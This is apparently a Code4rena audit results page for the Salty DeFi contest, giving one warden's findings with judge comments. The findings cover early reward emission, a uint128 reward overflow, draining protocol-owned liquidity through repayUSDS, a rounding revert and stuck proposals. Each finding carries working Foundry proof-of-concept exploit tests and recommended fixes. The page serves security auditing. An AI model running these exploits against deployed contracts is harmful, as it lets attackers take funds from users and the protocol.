Platform: Code4rena
Start Date: 16/01/2024
Pot Size: $80,000 USDC
Total HM: 37
Participants: 178
Period: 14 days
Judge: Picodes
Total Solo HM: 4
Id: 320
League: ETH
Rank: 13/178
Findings: 8
Award: $1,130.15
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xCiphky
Also found by: 0x3b, 0xCiphky, DedOhWale, Evo, J4X, OMEN, RootKit0xCE, Silvermist, Stormreckson, Toshii, a3yip6, ether_sky, israeladelaja, stackachu, twcctop, zhaojie
87.7413 USDC - $87.74
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/launch/InitialDistribution.sol#L56 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/Pools.sol#L387 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/Upkeep.sol#L86-L87 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/rewards/Emissions.sol#L50 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/rewards/SaltRewards.sol#L147 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/rewards/RewardsEmitter.sol#L112-L113
The lack of updates to certain values in the upkeep
contract enables the immediate emission of rewards for one week
, allowing users to receive substantial results.
No one can add liquidity to the initial pools until the exchange is approved.
Emissions
receive 52 million SLATs
and 5 million SALTs
are distributed among the initial 9
pools.function distributionApproved() external { salt.safeTransfer( address(emissions), 52 * MILLION_ETHER ); // <== to Emissions bytes32[] memory poolIDs = poolsConfig.whitelistedPools(); salt.safeTransfer( address(saltRewards), 8 * MILLION_ETHER ); saltRewards.sendInitialSaltRewards(5 * MILLION_ETHER, poolIDs ); // <== to 9 pools }
WBTC/WETH
, WBTC/DAI
, and WETH/DAI
pools and do a single swap.
These three pools generate arbitrage profits.function depositSwapWithdraw(... ) external nonReentrant ensureNotExpired(deadline) returns (uint256 swapAmountOut) { swapTokenIn.safeTransferFrom(msg.sender, address(this), swapAmountIn ); swapAmountOut = _adjustReservesForSwapAndAttemptArbitrage(swapTokenIn, swapTokenOut, swapAmountIn, minAmountOut ); }
Alice
calls the performUpkeep
function.
In the upkeep
, the values of lastUpkeepTimeEmissions
and lastUpkeepTimeRewardsEmitters
are not updated.constructor () { lastUpkeepTimeEmissions = block.timestamp; lastUpkeepTimeRewardsEmitters = block.timestamp; }
This triggers the performUpkeep
functions in Emissions
, SaltRewards
, and LiquidityRewardsEmitter
.
performUpkeep
function of Emissions
, the timeSinceLastUpkeep
would be larger than 1 week
because a significant amount of time has passed since the deployment of the upkeep
contract.
As a result, Emissions
immediately emits 0.26 million SALTs
to the SaltRewards
.function performUpkeep(uint256 timeSinceLastUpkeep) external { if ( timeSinceLastUpkeep >= MAX_TIME_SINCE_LAST_UPKEEP ) timeSinceLastUpkeep = MAX_TIME_SINCE_LAST_UPKEEP; // <== would happen uint256 saltBalance = salt.balanceOf( address( this ) ); uint256 saltToSend = ( saltBalance * timeSinceLastUpkeep * rewardsConfig.emissionsWeeklyPercentTimes1000() ) / ( 100 * 1000 weeks ); // <== 52 million * 1 weeks * 500 / (100 * 1000 weeks) = 0.26 million salt.safeTransfer(address(saltRewards), saltToSend); }
performUpkeep
function of SaltRewards
, the aforementioned rewards are distributed among WBTC/WETH
, WBTC/DAI
, and WETH/DAI
pools, as only these three pools generate arbitrage profits.
As a result, these pools receive an additional 117,000 / 3
SALTs
in rewards.
This amount is substantial when compared to the bootstrapping rewards for newly created pools in the future.function performUpkeep( bytes32[] calldata poolIDs, uint256[] calldata profitsForPools ) external { uint256 directRewardsForSaltUSDS = ( saltRewardsToDistribute * rewardsConfig.percentRewardsSaltUSDS() ) / 100; // <== 10% of 0.26 million uint256 remainingRewards = saltRewardsToDistribute - directRewardsForSaltUSDS; // <== 90% uint256 stakingRewardsAmount = ( remainingRewards * rewardsConfig.stakingRewardsPercent() ) / 100; // <= 50% of remaining uint256 liquidityRewardsAmount = remainingRewards - stakingRewardsAmount; _sendStakingRewards(stakingRewardsAmount); // <== 50%, i.e. 0.26 million * 0.9 * 0.5 = 117000 _sendLiquidityRewards(liquidityRewardsAmount, directRewardsForSaltUSDS, poolIDs, profitsForPools, totalProfits); }
performUpkeep
function of LiquidityRewardsEmitter
, the timeSinceLastUpkeep
would be larger than 1 day
.
Consequently, Alice
can claim 1%
of pending rewards across the three pools.function performUpkeep( uint256 timeSinceLastUpkeep ) external { if ( timeSinceLastUpkeep >= MAX_TIME_SINCE_LAST_UPKEEP ) timeSinceLastUpkeep = MAX_TIME_SINCE_LAST_UPKEEP; // would happen uint256 numeratorMult = timeSinceLastUpkeep * rewardsConfig.rewardsEmitterDailyPercentTimes1000(); // <== 1 day * 1000 uint256 denominatorMult = 1 days * 100000; // <== 1 day * 100000 }
Alice
can receive an 18,000 * 1e18 SALTs
as initial rewards, and this amount is significant considering it is earned from a single swap with a small amount of liquidity.
You can find the values mentioned above in the log below.
Pending Rewards For WBTC/WETH pool ===> 588610000000000000000000 Pending Rewards For WETH/DAI pool ===> 588610000000000000000000 Pending Rewards For WBTC/DAI pool ===> 588610000000000000000000 Initial Rewards For Alice ===> 5945555555555555555555 5945555555555555555555 5945555555555555555555
The PoC for this is as below:
function testInitialRewards() public { vm.startPrank(DEPLOYER); wbtc.transfer(alice, 2 * 10 ** 8); weth.transfer(alice, 40 ether); dai.transfer(alice, 50000 ether); vm.startPrank(alice); wbtc.approve(address(collateralAndLiquidity), 2 * 10 ** 8); weth.approve(address(collateralAndLiquidity), 40 ether); dai.approve(address(collateralAndLiquidity), 40000 ether); collateralAndLiquidity.depositCollateralAndIncreaseShare(10 ** 8, 20 ether, 0, block.timestamp, false); collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, dai, 20 ether, 20000 ether, 0, block.timestamp, false); collateralAndLiquidity.depositLiquidityAndIncreaseShare(wbtc, dai, 10 ** 8, 20000 ether, 0, block.timestamp, false); dai.approve(address(pools), 10000 ether); pools.depositSwapWithdraw(dai, weth, 10000 ether, 0, block.timestamp); bytes32[] memory poolIDs = new bytes32[](3); poolIDs[0] = PoolUtils._poolID(wbtc, weth); poolIDs[1] = PoolUtils._poolID(weth, dai); poolIDs[2] = PoolUtils._poolID(wbtc, dai); upkeep.performUpkeep(); uint256[] memory pendingRewards = liquidityRewardsEmitter.pendingRewardsForPools(poolIDs); console.log('Pending Rewards For WBTC/WETH pool ===> ', pendingRewards[0]); console.log('Pending Rewards For WETH/DAI pool ===> ', pendingRewards[1]); console.log('Pending Rewards For WBTC/DAI pool ===> ', pendingRewards[2]); uint256 [] memory aliceRewards = collateralAndLiquidity.userRewardsForPools(alice, poolIDs); console.log('Initial Rewards For Alice ===> ', aliceRewards[0], aliceRewards[1], aliceRewards[2]); }
Include the following function in the upkeep
contract and invoke it from BootstrapBallot
upon finalizing the ballot.
function startExchangeApproved() external nonReentrant { require( msg.sender == address(exchangeConfig.initialDistribution().bootstrapBallot()), "Pools.startExchangeApproved can only be called from the BootstrapBallot contract" ); lastUpkeepTimeEmissions = block.timestamp; lastUpkeepTimeRewardsEmitters = block.timestamp; }
Other
#0 - c4-judge
2024-02-03T10:23:35Z
Picodes marked the issue as duplicate of #614
#1 - c4-judge
2024-02-18T11:24:40Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2024-02-18T16:58:28Z
Picodes changed the severity to 3 (High Risk)
326.1249 USDC - $326.12
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L261-L266 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/Pools.sol#L146-L147 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/rewards/RewardsEmitter.sol#L112-L121
In the StakingRewards
, we store virtualRewards
for each user, allowing us to precisely calculate the amount of rewards
a user can receive.
The type of virtualRewards
is uint128
.
However, in certain scenarios, virtualRewards
may surpass the uint128
limit, leading to a potential disruption in the rewards
system.
Let's consider a scenario where there is a token
with a price nearly identical to that of ETH
.
token
has been whitelisted through a proposal
.
Afterward, the bootstrapping rewards
are distributed to the (WETH, token)
and (WBTC, token)
pools.function _finalizeTokenWhitelisting( uint256 ballotID ) internal { AddedReward[] memory addedRewards = new AddedReward[](2); addedRewards[0] = AddedReward( pool1, bootstrappingRewards ); // <== (WETH, token) pool addedRewards[1] = AddedReward( pool2, bootstrappingRewards ); // <== (WBTC, token) pool exchangeConfig.salt().approve( address(liquidityRewardsEmitter), bootstrappingRewards * 2 ); liquidityRewardsEmitter.addSALTRewards( addedRewards ); }
Alice
deposits (101, 101)
into the (WETH, token)
pool, a feasible action as this value is greater than the PoolUtils.DUST
threshold.function addLiquidity( ... ) { require( maxAmountA > PoolUtils.DUST, "The amount of tokenA to add is too small" ); require( maxAmountB > PoolUtils.DUST, "The amount of tokenB to add is too small" ); }
Alice
invokes the performUpkeep
function.
Assuming the time elapsed between the last invocation of this function and now is approximately 2 hours
.
Subsequently, the rewards that Alice can receive are outlined below.BootStrapping_Rewards * rewardsEmitterDailyPercentTimes1000 * time_elaspsed / 1 days = 200000 * 1e18 * (5 / 1000) * 2 hours / 1 days = 167 * 1e18.
function performUpkeep( uint256 timeSinceLastUpkeep ) external { uint256 numeratorMult = timeSinceLastUpkeep * rewardsConfig.rewardsEmitterDailyPercentTimes1000(); // <== 2 hours * 500 uint256 denominatorMult = 1 days * 100000; // <== 24 hours * 100000 uint256 sum = 0; for( uint256 i = 0; i < poolIDs.length; i++ ) { bytes32 poolID = poolIDs[i]; uint256 amountToAddForPool = ( pendingRewards[poolID] * numeratorMult ) / denominatorMult; // <== 200000 * 1e18 * (5 / 1000) * 2 hours / 1 days } }
Charlie
deposits (200 ether, 200 ether)
into the (WETH, token)
pool and his virtual rewards are then calculated.
Bob
deposits (300 ether, 300 ether)
into the (WETH, token)
pool and his virtual rewards are then calculated.
You can see that Bob
's virtual rewards
are smaller than Charlie
's, despite Bob
depositing more liquidity
, as indicated in the log below.
This discrepancy arises from an underflow
that occurred during the calculation of virtual rewards
.
Share: =====> 202 Reward: =====> 166666666666666666666 Virtual Rewards of Charlie: =====> 330033003300330033001980198019801980199 Virtual Rewards of Bob: =====> 154767138029556586039595689597934758843
The virtual rewards
for Charlie
amount to approximately 3.3 * 1e38
, while the maximum value for uint128
is about 3.4 * 1e38
.
Consequently, the calculation of virtual rewards
for Bob
exceeds the uint128
limit.
The PoC for this is as below:
function testVirtualRewards() public { vm.startPrank(alice); staking.stakeSALT( 1000000 ether); IERC20 token = new TestERC20("TEST", 18); proposals.proposeTokenWhitelisting( token, "", "" ); uint256 ballotID = 1; proposals.castVote(ballotID, Vote.YES); vm.warp(block.timestamp + 11 days ); // Perform the final upkeep procedure before whitelisting the token. upkeep.performUpkeep(); salt.transfer( address(dao), 400000 ether ); vm.warp(block.timestamp + 2 hours); // Whitelist the token dao.finalizeBallot(ballotID); vm.startPrank(DEPLOYER); wbtc.transfer(alice, 3 * 10 ** 8); weth.transfer(alice, 100 ether); vm.startPrank(alice); weth.approve(address(collateralAndLiquidity), 101); token.approve(address(collateralAndLiquidity), 101); // Deposit a minimal amount collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, token, 101, 101, 0, block.timestamp, false); upkeep.performUpkeep(); bytes32 poolId = PoolUtils._poolID(weth, token); console.log('Share: =====> ', collateralAndLiquidity.userShareForPool(alice, poolId)); console.log('Reward: =====> ', collateralAndLiquidity.userRewardForPool(alice, poolId)); address charlie = address(0x3333); vm.startPrank(DEPLOYER); weth.transfer(charlie, 200 ether); vm.startPrank(alice); token.transfer(charlie, 200 ether); vm.startPrank(charlie); weth.approve(address(collateralAndLiquidity), 200 ether); token.approve(address(collateralAndLiquidity), 200 ether); // Users have the flexibility to deposit standard amounts according to their preference collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, token, 200 ether, 200 ether, 0, block.timestamp, false); console.log('Virtual Rewards of Charlie: =====> ', collateralAndLiquidity.userVirtualRewardsForPool(charlie, poolId)); vm.startPrank(DEPLOYER); weth.transfer(bob, 300 ether); vm.startPrank(alice); token.transfer(bob, 300 ether); vm.startPrank(bob); weth.approve(address(collateralAndLiquidity), 300 ether); token.approve(address(collateralAndLiquidity), 300 ether); // Users have the flexibility to deposit standard amounts according to their preference collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, token, 300 ether, 300 ether, 0, block.timestamp, false); console.log('Virtual Rewards of Bob: =====> ', collateralAndLiquidity.userVirtualRewardsForPool(bob, poolId)); }
A similar issue might arise in the SALT
staking process.
The initial rewards for staking are set at 3 million
.
Suppose the first depositor stakes just 1 wei SALT
and invokes the performUpkeep
function.
In this case, he would receive a minimum of 0.347 * 1e18
rewards for 1
staked SALT
.
3 million / 100 / 1 day = 0.347 * 1e18
The concern arises when other users deposit more than 1000 * 1e18 SALT
.
In such a scenario, the virtual rewards for them could surpass the uint128
limit.
Reward For Alice ===> 347222222222222222 Virtual Rewards For Bob ===> 173611111111111111000000000000000000000 Virtual Rewards For Charlie ===> 6939855301283758536625392568231788544
Charlie
's virtual rewards
are smaller than Bob
's, despite Charlie
depositing more liquidity
.
The PoC for this is as below:
function testInitialStaking() public { address charlie = address(0x3333); vm.startPrank(alice); salt.approve(address(staking), 1); staking.stakeSALT(1); vm.startPrank(address(upkeep)); stakingRewardsEmitter.performUpkeep(1); console.log('Reward For Alice ===> ', staking.userRewardForPool(alice, PoolUtils.STAKED_SALT)); vm.startPrank(alice); salt.transfer(bob, 500 ether); salt.transfer(charlie, 1000 ether); vm.startPrank(bob); salt.approve(address(staking), 500 ether); staking.stakeSALT(500 ether); console.log('Virtual Rewards For Bob ===> ', staking.userVirtualRewardsForPool(bob, PoolUtils.STAKED_SALT)); vm.startPrank(charlie); salt.approve(address(staking), 1000 ether); staking.stakeSALT(1000 ether); console.log('Virtual Rewards For Charlie ===> ', staking.userVirtualRewardsForPool(charlie, PoolUtils.STAKED_SALT)); }
Change the data type of virtualRewards
to uint256
.
Under/Overflow
#0 - c4-judge
2024-02-02T16:27:30Z
Picodes marked the issue as duplicate of #614
#1 - c4-judge
2024-02-18T11:22:19Z
Picodes marked the issue as not a duplicate
#2 - c4-judge
2024-02-18T16:59:07Z
Picodes marked the issue as duplicate of #341
#3 - c4-judge
2024-02-21T16:19:40Z
Picodes marked the issue as satisfactory
16.3165 USDC - $16.32
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L108 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L125-L128 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/Liquidizer.sol#L123-L124
There are Protocol-Owned Liquidities
for the USDS/DAI
and USDS/SALT
pairs, which experience growth through arbitrage profits
.
These pairs come into play when there is an insufficient amount of USDS
in the Liquidizer
.
However, any user has the ability to easily remove this POL
.
This implies that the funds
allocated to the DAO
may not be utilized for their intended purpose.
Alice
borrows USDS
by depositing sufficient collateral
.function borrowUSDS( uint256 amountBorrowed ) external nonReentrant { usds.mintTo( msg.sender, amountBorrowed ); }
Alice
repays the borrowed USDS
.
The repaid USDS
was sent to the address(usds)
rather than the Liquidizer
.
As a result, the USDS
amount in the Liquidizer
, which should be burned, has increased.function repayUSDS( uint256 amountRepaid ) external nonReentrant { usds.safeTransferFrom(msg.sender, address(usds), amountRepaid); // <== to usds itself liquidizer.incrementBurnableUSDS( amountRepaid ); // <== An unnecessary increase has occurred }
performUpkeep
function, the Liquidizer
has a certain amount of USDS
meant for burning, but its balance is currently 0
.
As a result, the Liquidizer
will withdraw liquidities from the POL
s for the SALT/USDS
and DAI/USDS
pairs.function _possiblyBurnUSDS() internal { uint256 usdsBalance = usds.balanceOf(address(this)); // <== equal to 0 if ( usdsBalance >= usdsThatShouldBeBurned ) // <== usdsThatShouldBeBurned > 0 { _burnUSDS( usdsThatShouldBeBurned ); usdsThatShouldBeBurned = 0; } else { _burnUSDS( usdsBalance ); usdsThatShouldBeBurned -= usdsBalance; dao.withdrawPOL(salt, usds, PERCENT_POL_TO_WITHDRAW); // <== withdraw from POL dao.withdrawPOL(dai, usds, PERCENT_POL_TO_WITHDRAW); } }
Alice
borrows and repays the same amount of USDS
, resulting in no change for her.
However, as shown in the log below, the POL
s are removed.
Any user can easily remove the POL
s in this manner.
USDS/SALT POL Before ==> 200000000000000000000 USDS/SALT POL After ==> 198000000000000000000 USDS/DAI POL Before ==> 200000000000000000000 USDS/DAI POL After ==> 198000000000000000000
The PoC for this is as below:
function testRepayUser() public { uint256 depositedWBTC = ( 10000 ether *10**8) / priceAggregator.getPriceBTC(); uint256 depositedWETH = ( 10000 ether *10**18) / priceAggregator.getPriceETH(); uint256 transferAmount = 100 ether; vm.startPrank(address(DEPLOYER)); salt.transfer(address(dao), transferAmount); dai.transfer(address(dao), transferAmount); usds.transfer(address(dao), 2 * transferAmount); vm.startPrank(address(dao)); salt.approve(address(collateralAndLiquidity), transferAmount); dai.approve(address(collateralAndLiquidity), transferAmount); usds.approve(address(collateralAndLiquidity), 2 * transferAmount); // form SALT/USDS POL collateralAndLiquidity.depositLiquidityAndIncreaseShare(usds, salt, transferAmount, transferAmount, 0, block.timestamp, false); // form DAI/USDS POL collateralAndLiquidity.depositLiquidityAndIncreaseShare(usds, dai, transferAmount, transferAmount, 0, block.timestamp, false); bytes32 poolIdOfSaltUsds = PoolUtils._poolID(salt, usds); bytes32 poolIdOfDaiUsds = PoolUtils._poolID(dai, usds); uint256 saltUsdsBefore = collateralAndLiquidity.userShareForPool(address(dao), poolIdOfSaltUsds); uint256 daiUsdsBefore = collateralAndLiquidity.userShareForPool(address(dao), poolIdOfDaiUsds); vm.startPrank(alice); collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false ); uint256 borrowableBefore = collateralAndLiquidity.maxBorrowableUSDS(alice); // Alice borrows USDS collateralAndLiquidity.borrowUSDS(borrowableBefore); assertEq( collateralAndLiquidity.maxBorrowableUSDS(alice), 0 ); usds.approve(address(collateralAndLiquidity), borrowableBefore); // Alice repays USDS collateralAndLiquidity.repayUSDS(borrowableBefore); uint256 borrowableAfter = collateralAndLiquidity.maxBorrowableUSDS(alice); // Alice's status remains unchanged. assertEq( borrowableAfter, borrowableBefore ); upkeep.performUpkeep(); uint256 saltUsdsAfter = collateralAndLiquidity.userShareForPool(address(dao), poolIdOfSaltUsds); uint256 daiUsdsAfter = collateralAndLiquidity.userShareForPool(address(dao), poolIdOfDaiUsds); console.log('USDS/SALT POL Before ==> ', saltUsdsBefore); console.log('USDS/SALT POL After ==> ', saltUsdsAfter); console.log('USDS/DAI POL Before ==> ', daiUsdsBefore); console.log('USDS/DAI POL After ==> ', daiUsdsAfter); }
function repayUSDS( uint256 amountRepaid ) external nonReentrant { - usds.safeTransferFrom(msg.sender, address(usds), amountRepaid); + usds.safeTransferFrom(msg.sender, address(liquidizer), amountRepaid); }
Token-Transfer
#0 - c4-judge
2024-02-02T16:22:52Z
Picodes marked the issue as duplicate of #618
#1 - c4-judge
2024-02-17T18:39:25Z
Picodes marked the issue as satisfactory
🌟 Selected for report: Udsen
Also found by: 0xfave, Banditx0x, DanielArmstrong, Draiakoo, J4X, Jorgect, ether_sky, santiellena, stackachu
79.2483 USDC - $79.25
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L81 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L114-L118 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L243
Occasionally, the claiming of rewards may be reversed due to rounding.
For the sake of this discussion, let's assume that the price of DAI
is equal to that of ETH
.
Alice
initiates a deposit of (10100, 10100)
into the WETH/DAI
pool.20,000
SALT
rewards for this pool. This is solely for testing purposes. Actual rewards are emitted from the RewardsEmitter
.
The result isShares for Alice ===> 20200 Total Rewards ===> 20000 Rewards for Alice ===> 20000
Bob
deposits the same liquidity into the WETH/DAI
pool.
He cannot receive any rewards, but his virtual rewards have increased.function _increaseUserShare( address wallet, bytes32 poolID, uint256 increaseShareAmount, bool useCooldown ) internal { uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares ); // <== equal to 20000 user.virtualRewards += uint128(virtualRewardsToAdd); // <== 20000 totalRewards[poolID] += uint128(virtualRewardsToAdd); // <== 40000 }
Log is
Shares for Bob ===> 20200 Total Rewards ===> 40000 Virtual Rewards for Bob ===> 20000
Charlie
deposits (19800, 19800)
into the WETH/DAI
pool.Shares for Charlie ===> 39600 Total Rewards ===> 79208 Virtual Rewards for Charlie ===> 39208
Bob
withdraws 20,000
liquidity.
In this case, Bob
can receive 1 wei
due to rounding.function _decreaseUserShare( address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown ) internal { uint256 rewardsForAmount = ( totalRewards[poolID] * decreaseShareAmount ) / totalShares[poolID]; // <== 79208 * 20000 / (2 * 20200 + 39600) = 19802 uint256 virtualRewardsToRemove = (user.virtualRewards * decreaseShareAmount) / user.userShare; // <== 20000 * 20000 / 20200 = 19801 if ( virtualRewardsToRemove < rewardsForAmount ) claimableRewards = rewardsForAmount - virtualRewardsToRemove; }
SALT Balance for Bob Before ===> 0 SALT Balance for Bob After ===> 1
Alice
aims to claim her reward, but the transaction will revert due to an exact lack of 1 wei
in the balance.function userRewardForPool( address wallet, bytes32 poolID ) public view returns (uint256) { uint256 rewardsShare = ( totalRewards[poolID] * user.userShare ) / totalShares[poolID]; // <== 59406 * 20200 / (40400 + 39600 - 20000) = 20000 }
Claimable Rewards for Alice ===> 20000 Available SALT Balance ===> 19999
The PoC for this is as below:
function testRounding() public { address charlie = address(0x3333); vm.startPrank(DEPLOYER); weth.transfer(alice, 10100); dai.transfer(alice, 10100); weth.transfer(bob, 10100); dai.transfer(bob, 10100); weth.transfer(charlie, 19800); dai.transfer(charlie, 19800); bytes32 poolID = PoolUtils._poolID(weth, dai); vm.startPrank(alice); weth.approve(address(collateralAndLiquidity), 10100); dai.approve(address(collateralAndLiquidity), 10100); collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, dai, 10100, 10100, 0, block.timestamp, false); AddedReward[] memory addedRewards = new AddedReward[](1); addedRewards[0] = AddedReward(poolID, 20000); salt.approve(address(collateralAndLiquidity), 20000); collateralAndLiquidity.addSALTRewards(addedRewards); bytes32[] memory poolIDs = new bytes32[](1); poolIDs[0] = poolID; uint256[] memory totalRewards = new uint256[](1); totalRewards = collateralAndLiquidity.totalRewardsForPools(poolIDs); console.log('Shares for Alice ===> ', collateralAndLiquidity.userShareForPool(alice, poolID)); console.log('Total Rewards ===> ', totalRewards[0]); console.log('Rewards for Alice ===> ', collateralAndLiquidity.userRewardForPool(alice, poolID)); vm.startPrank(bob); weth.approve(address(collateralAndLiquidity), 10100); dai.approve(address(collateralAndLiquidity), 10100); collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, dai, 10100, 10100, 0, block.timestamp, false); console.log(''); console.log('Shares for Bob ===> ', collateralAndLiquidity.userShareForPool(bob, poolID)); totalRewards = collateralAndLiquidity.totalRewardsForPools(poolIDs); console.log('Total Rewards ===> ', totalRewards[0]); console.log('Virtual Rewards for Bob ===> ', collateralAndLiquidity.userVirtualRewardsForPool(bob, poolID)); vm.startPrank(charlie); weth.approve(address(collateralAndLiquidity), 19800); dai.approve(address(collateralAndLiquidity), 19800); collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, dai, 19800, 19800, 0, block.timestamp, false); console.log(''); console.log('Shares for Charlie ===> ', collateralAndLiquidity.userShareForPool(charlie, poolID)); totalRewards = collateralAndLiquidity.totalRewardsForPools(poolIDs); console.log('Total Rewards ===> ', totalRewards[0]); console.log('Virtual Rewards for Charlie ===> ', collateralAndLiquidity.userVirtualRewardsForPool(charlie, poolID)); vm.startPrank(bob); vm.warp(block.timestamp + 7 days); uint256 saltBalanceBefore = salt.balanceOf(bob); collateralAndLiquidity.withdrawLiquidityAndClaim(weth, dai, 20000, 0, 0, block.timestamp); uint256 saltBalanceAfter = salt.balanceOf(bob); console.log(''); console.log('SALT Balance for Bob Before ===> ', saltBalanceBefore); console.log('SALT Balance for Bob After ===> ', saltBalanceAfter); vm.startPrank(alice); console.log(''); console.log('Claimable Rewards for Alice ===> ', collateralAndLiquidity.userRewardForPool(alice, poolID)); console.log('Available SALT Balance ===> ', salt.balanceOf(address(collateralAndLiquidity))); vm.expectRevert("ERC20: transfer amount exceeds balance"); collateralAndLiquidity.claimAllRewards(poolIDs); }
If the rewards exceed the balance, we can send the entire available balance.
Token-Transfer
#0 - c4-sponsor
2024-02-12T00:55:01Z
othernet-global (sponsor) disputed
#1 - othernet-global
2024-02-12T00:55:20Z
Final claimAllRewards is not reverting as mentioned.
#2 - c4-judge
2024-02-18T11:39:08Z
Picodes marked the issue as unsatisfactory: Insufficient proof
#3 - c4-judge
2024-02-18T11:39:49Z
Picodes removed the grade
#4 - c4-judge
2024-02-18T16:49:05Z
Picodes marked the issue as duplicate of #1021
#5 - c4-judge
2024-02-18T16:49:08Z
Picodes marked the issue as satisfactory
🌟 Selected for report: vnavascues
372.7994 USDC - $372.80
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L168 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L254-L255 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/PoolsConfig.sol#L47 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L102 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L98
Users are unable to create new proposals until their previous proposals are finalized.
Additionally, certain sensitive proposals, such as sending SALT
, can only be created once.
If these proposals do not reach the quorum after a prolonged period, there should be an option to remove them.
proposals
, but some may not be finalized.An example includes the proposal for whitelisting tokens.
maximumWhitelistedPools
is set to 20
.9
whitelisted pools, as confirmed by the sponsor.2
new pools are added. Now, let's consider a scenario where there are 19
whitelisted pools.Alice
can propose to whitelist a new token, as the current number of whitelisted pools has not yet reached the maximum value.function proposeTokenWhitelisting( IERC20 token, string calldata tokenIconURL, string calldata description ) external nonReentrant returns (uint256 _ballotID) { require( poolsConfig.numberOfWhitelistedPools() < poolsConfig.maximumWhitelistedPools(), "Maximum number of whitelisted pools already reached" ); // <== 19 < 20 }
quorum
, we can finalize it. Upon approval, we whitelist 2
pools.function _finalizeTokenWhitelisting( uint256 ballotID ) internal { poolsConfig.whitelistPool( pools, IERC20(ballot.address1), exchangeConfig.wbtc() ); // <== WETH/token pool poolsConfig.whitelistPool( pools, IERC20(ballot.address1), exchangeConfig.weth() ); // <== WBTC/token pool }
20
upon whitelisting the first pool.function whitelistPool( IPools pools, IERC20 tokenA, IERC20 tokenB ) external onlyOwner { require( _whitelist.length() < maximumWhitelistedPools, "Maximum number of whitelisted pools already reached" ); // <== will revert here due to 20 = 20 }
Another example is when Alice
makes a proposal that other users are not interested in.
SALT
to a specific address, but others may not feel inclined to vote.SALT
, others cannot create a proposal to send SALT
to another address until the previous proposal is finalized. If users do not vote for the previous proposal, there is no guarantee when the new proposal will be available. This situation can pose a serious problem in some cases.function _possiblyCreateProposal( string memory ballotName, BallotType ballotType, address address1, uint256 number1, string memory string1, string memory string2 ) internal returns (uint256 ballotID) { require( openBallotsByName[ballotName] == 0, "Cannot create a proposal similar to a ballot that is still open" ); // <== will revert for 'sendSALT' }
Alice
is a highly active user who consistently wants to propose new ideas. However, if she makes a small mistake in her previous proposal, she won't be able to create a new proposal.function _possiblyCreateProposal( string memory ballotName, BallotType ballotType, address address1, uint256 number1, string memory string1, string memory string2 ) internal returns (uint256 ballotID) { require( ! _userHasActiveProposal[msg.sender], "Users can only have one active proposal at a time" ); }
The PoC for this is as below:
function testProposeMultiple() public { vm.startPrank(DEPLOYER); staking.stakeSALT( 1000000 ether ); salt.transfer(address(dao), 200 ether); proposals.proposeSendSALT(bob, 1 ether, ""); vm.startPrank(alice); staking.stakeSALT( 1000000 ether ); vm.warp(block.timestamp + 20 days); vm.expectRevert("Cannot create a proposal similar to a ballot that is still open" ); proposals.proposeSendSALT(alice, 2 ether, ""); proposals.proposeParameterBallot(1, "description" ); vm.warp(block.timestamp + 20 days); vm.expectRevert("Users can only have one active proposal at a time" ); proposals.proposeParameterBallot(2, ""); }
Users have the option to cancel proposals that cannot be finalized after the ballot duration, or the DAO can cancel such proposals
Error
#0 - c4-judge
2024-02-01T17:01:24Z
Picodes marked the issue as duplicate of #362
#1 - c4-sponsor
2024-02-08T11:48:19Z
othernet-global (sponsor) acknowledged
#2 - c4-judge
2024-02-20T11:44:48Z
Picodes changed the severity to QA (Quality Assurance)
#3 - Picodes
2024-02-20T11:45:48Z
Splitting this report in 2: one about a proposal that never reaches the quorum and the other about finalization calls failing
#4 - c4-judge
